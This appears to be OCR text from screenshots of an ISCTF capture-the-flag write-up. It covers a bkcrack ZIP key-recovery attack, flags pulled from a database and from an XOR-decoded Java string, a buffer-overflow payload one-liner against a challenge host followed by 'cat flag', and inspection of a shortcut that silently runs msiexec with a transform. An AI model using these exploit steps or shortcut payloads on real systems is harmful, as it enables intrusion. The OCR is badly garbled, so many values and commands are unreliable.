Password not found in comment: "The password is... wait, I forgot! But you must know what's

inside, right? &... n8*>36\u@530y"

File "E:\OCTF\ISCTF\/Nii% )T JZFLAG\boom.py", line 21, in get_password
raise ValueError(f"Password not found in comment: {cmt!r}")

File "E:\OCTF\ISCTE\/N¥5%& /)T )ZFLAG\boom.py", line 56, in main
pw = get password(cur)

File "E:\@CTF\ISCTF\/N¥ %[’ ZFLAG\boom.py", line 74, in <module>
main()

oo AN

ValueError: Password not found in comment: "The password is... wait, I forgot! But you must know
what's inside, right? &... n8*>36\u@53ey"

m.group(1)

= i O —+ v 18 Python Debug Console ([J ]

[992] flagggg7.zip -> ©51871ca8d584f94
RUN: ['D:/7zip/7z.exe", 'x', ‘out\\flagggg7.zip', '-p@51871ca8d584f94"', '-
[993] flagggg6.zip -> ae54f3df91154913
RUN: ['D:/7zip/7z.exe', 'x', ‘'out\\flagggg6.zip', '-pae54f3df91154913°', '
[994] flagggg5.zip -> 3a2ddedbl3524c3a
RUN: ['D:/7zip/7z.exe’', 'x', ‘'out\\flagggg5.zip', '-p3a2ddedbl3524c3a’, '
[995] flagggg4d.zip -> 3437397950eedba2
RUN: ['D:/7zip/7z.exe', 'x', ‘out\\flaggggd.zip', '-p3437397950ee4ba2’, '-

JEORAEBATERS 1, AL B H 25 1) SR SCHGl— 1

sign XEjgHflag challenge.zip flagggg3.zip x

B2 6D AD 98 CA 91 19 E8 75 DC 33 F9 03 A3 2m-"E*.eul3u.£€”
BB DC 30 69 50 4B 01 02 14 00 14 00 09 00 »U01iPK

8C BB 82 5B C3 88 F9 C9 0A 01 00 00 FE 00 @»,[A"UE....p...
0C 00 24 00 00 00 0O OO0 00 OO 20 00 00 00

00 00 66 6C 61 67 67 67 67 32 2E 7A 69 70

20 00 00 00 00 OO0 01 OO0 18 00 48 84 F1 4B

DC 01 48 84 F1 4B A0 63 DC 01 48 84 F1 4B

DC 01 50 4B 05 06 00 00 00 OO0 01 00 01 00 0. -

00 00 34 01 00 00 89 00 54 68 65 20 70 61 ..4...%.The pass
77 6F 72 64 20 69 73 2E 2E 2E 20 77 61 69 word is... wait,
20 49 20 66 6F 72 67 6F 74 21 20 42 75 74 I forgot! But y
6F 75 20 6D 75 73 74 20 6B 6E 6F 77 20 77 ou must know wha

74 27 73 20 69 6E 73 69 64 65 2C 20 72 69 t's inside, righ
74 3F 20 B7 AD D2 EB A3 BA C3 DC C2 EB CA t? --0&8f°AUAEEC.
2E 2E 20 B5 B5 C8 A3 AC CE D2 CD FC C1 .. UEpEE-IOIGAEE
A1 B5 AB CA C7 C4 E3 BF CF B6 A8 D6 AA B5 iH<ECAZ,; 19" 02pAA
EF C3 E6 D3 DO CA B2 C3 B4 A3 AC B6 D4 BO iA=0PE2A" £-90°E£
BF é




Hillflagggg2.zip B it falggggl.zip, G Ctxt>CfF GXA N —JHihHflaggggl.txti
(. BEEEHOk, TRENSFIH L (B

plaini.txt X +

File Edit View

flagggg?

BRHIR T

\$ printf "flaggggl” > plainl.txt

/d/bkcrack
$ ./bkcrack.exe -c /e/0CTF/ISCTF/1000zipFLAG/out/Tlagggg3.zip -c flagggg2.zip -p plainl.txt -o 30 -x O
{ 5040304
bkcrack 1.8.0 - 2025-08-18
[[01:23:47] Attack on 4194304 Z values at index 37
Ikeys: ae0c4b27 66¢c21cha b9a7958f
\38.7 % (1623385 / 4194304)
|Found a solution. stopping.
You may resume the attack with the option: --continue-attack 1623385
I[01:42703] Keys

ae0c4b27 66c21cha b9a7958f

B Y — AN s 46 R

F1le error: could not open 1nput

/d/bkcrack
$ ./bkcrack.exe -c /e/OCTF/ISCTF/1000zipFLAG/out/flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c2lcha
9a7958f -d flagggg2_dec.zip

bkcrack 1.8.0 - 2025-08-18
[01:54:52] writing deciphered data flagggg2_dec.zip
wrote deciphered data (not compressed).

flaggggl.zipn] NE ST T



You deserve it !

ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

IORC IR E =

I — Tjartd, RBEEFHdbfF, % 2iflag ¥

D DBeaver 23.1.2 - user

IH(F) 4RiB(E) SHR(N) Search SQLYRIEES EUEEE(D) #BEI(H)

B e&\N Osa~iRezxREz T va D~ Wctidb v D<N/A> v viQ ~
B gEESH < B mE ﬁ'm‘=‘:‘§mﬁ BB user X

INEIE BRI —E55 T~ \Es E 5 RE

AOW)
Auto

TEMNH DASEUS —ASTSEONT MHEITR LALL d..f U.T T [ ALkl e

- o X
Q B@
=g

Wctf.db FI% v EBuser

* W ctf.db B
?E = BBuser |3 HA—7 SQL & /28 (&4 Ctrl+Space) P v O GTViemv = v
e Eélse;u ‘ P 13jid v ‘ RBC ysername v | ABC password v | RBC email v ‘ A9E flag_part A ‘ <= ‘;g
v B+ .
123 id (INTEGER) % 1 67 Togawa-Sakiko Togawa togawa-sakiko@tgwgroup.jp PART1:ISCTF{TomOR1_Dash LU ‘%
fABC ysername (TEXT) =12 68 Chihaya-Anon Chihaya.2 chihaya-anon@example.con [NULL °
ABC password (TEXT) § 3 69 Tak 1-Tomori  Tak 1.3 takamatsu-tomori@example [NULL] E
#ec email (TEXT) 4 70 Shiina-Taki Shiina4 shiina-taki@example.com  [[EoITC e e REXe ) ®
fec flag_part (TEXT) & B . . ; A
N DE—@_ 5 71 Nagasaki-Soyo Nagasaki.5 nagasaki-soyo@example.cor [}/ -2
N 6 72 Misumi-Uika Misumi.6 misumi-uika@example.com J\UR8} m
> =3 7 73 Wakaba-Mutsumi  Wakaba.7 wakaba-mutsumi@example. [\ 1111 s
> MmEIB 8 74 Yahata-Umiri Yahata.8 yahata-umiri@example.com JIN|YER}
> I ke 9 75 Yuutenji-Nyamu Yuutenji.9 yuutenji-nyamu@example.c¢ [ 11101
> B E 10 76 Oblivionis Oblivionis.10 oblivionis@example.com ISCTH{SQL_Inject_1s_Easy}
: : égJ 11 7 Amoris Amori.s.1 1 amori.s@examplecom [NULL]
> A 12 78 Doloris Doloris.12 doloris@example.com [NULL]
> Il BuEsny 13 79 Mortis Mortis.13 mortis@example.com [NULL]
W/ DBeaver Sample Database (SQLite) 14 80 Timoris Timoris.14 timoris@example.com ISCTF{SQL_Inject_1s_Fun}
1 Project - General x =40
iR HiRR
7 Bookmarks
[ Diagrams %
Scripts m—
s

@ Refresh v i @Save v [X]Cancel i
14 {TEFREY - 2ms, 2025-12-07 16:42:53
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2 P 1 — im

@ X WNE S IE & B *run-1.0-SNAPSHOT-jar-with-dependencies - jadx-gui = (m} X
=& S 2 O 0@ Q AO0M «-> B0 & B &
run-1.0-SNAPSHOT-jar-with-depent & gameOvervView H
LR IPN [r—— !
JE AR AL /* loaded from: run-1.0-SNAPSHOT-jar-with-dependencies.jar:com/qf/run/GameOverView.class */ |
o 21 public class GameOverView extends JFrame implements ActionListener {
com.qf JLabel scoreJLabel;
dao JButton againJButton;
pojo JButton gxitJButton,'
! run JLabel hintlJLabel;
L
¢ BackGroundImage 22 public GameOverView(Person person) {
¢, BackGroundMusic 17 this.scoreJLabel = null;
¢ ChooseView 18 this.againJButton = null;
. 19 this.exitJButton = null;
® GameMainPanel 20 this.hintlJLabel = null;
¢, GameOverView 24 byte[] encrypted = {5, 20, 7, 1, 103, 111, 1e, 18, 32, 18, 32, 1, 18, 20, 18, 20, 116, 11
f scoredLabel JlLabe 26 byte[] decrypted = new byte[encrypted.length];
£ againJButton JB for (int i = 0; i < encrypted.length; i++) {
. ) . 8 i] = i] » 5
f exitJButton JButton 2 N decrypted[i] = (byte) (encrypted[i] * 85);
f hintlJLabel Jlabel 30 new String(decrypted);|
f m, GameOverView(Person) \| 33 this.scoreJLabel = new JLabel();
1 m actionPerformed(Actior 3L51 t:is.scorejtazehset;ext(" /;\J"d(ic{\?l'i,‘ﬁr\;;;;i;g): \t" + person.getScore());
. 3 this . scoreJLabel. setForeground(Color. ;
« GameV:!.ew‘ 36 this.scoreJLabel.setSize(200, 20);
¢ GameWinView 37 this.scoreJLabel.setlLocation(120, 30);
¢ LoadingView 38 add(this . scoreJLabel);
¢, LoginView 41 t:is.againjgutton = n;w J?{l;;onz((;')\;k ")
42 this.againJButton.setSize . H
“ ?tartGame u3 this.againJButton.setlLocation(80, 150);
util uy this.againJButton.addActionListener(this);
org 45 add(this.againJButton);
‘ﬁ‘t[‘i‘ii{ﬁ ng +hic avitIRut+an = naw TRu++an() - |
[ summary %78 Smali  Simple Fallback Split view J
IS
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pubTic class x111 {
public static void main(string[] args) {

byte[] encrypted = {
5, 20, 7, 1, 103, 111, 10, 18, 32, 18,
32, 10, 18, 20, 18, 20, 116, 116, 40

};

byte key = 85;

byte[] decrypted = new byte[encrypted.length];

for (int i = 0; i1 < encrypted.length; i++)
decrypted[i] = (byte)(encrypted[i] A key);

String secret = new String(decrypted);

System.out.printin("Decrypted Secret: + secret);

E:\OCTF\ISCTF\;4 ! ME=F! >java x11l.java

Decrypted Secret: PART2:_GuGu_GAGA!!}
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WRYEEH SO, B TR R

~/Desktop
Sys
sys.stdout.buffer.write(b"A"*@x6c + (@xaddaaaaa .to bytes 4,"little”
[
challenge.bluesharkinfo.com 26151

do you like blueshark?
data.arr[2] = @xaddaaaaa
blueshark likes you too!

ls -la
total 76
drwxr-x 1000
. 1000
1000
1000
1000
1000
1000
1000
@
1000
1000
1000
1000 DS Nowv
1000 - Nowv
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= h

.bash_logout
.bashrc
.profile
attachment
bin

dev

flag

1ib

1ib32
lib64
libexec
1libx32

W

[
B~
~ =
h

(4]

O O
(o » LI

~J

© O L ®

NNN
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oo
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drwxr-x
drwxr-x
cat flag

1
1
1
1
1
1
1
1
1
1
1
1
1
1
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PS C:\Users\xjxua>

PS C:\Users\xjxua> New—-Object WScript.Shell
PS C:\Users\xjxua> .CreateShortcut( )

PS C:\Users\xjxua> .TargetPath

C:\Windows\System32\msiexec.exe

PS C:\Users\xjxua> .Arguments

/i Tjelw TRANSFORMS=fR6WLl /qn

PS C:\Users\xjxua> .WorkingDirectory
%~dp0O
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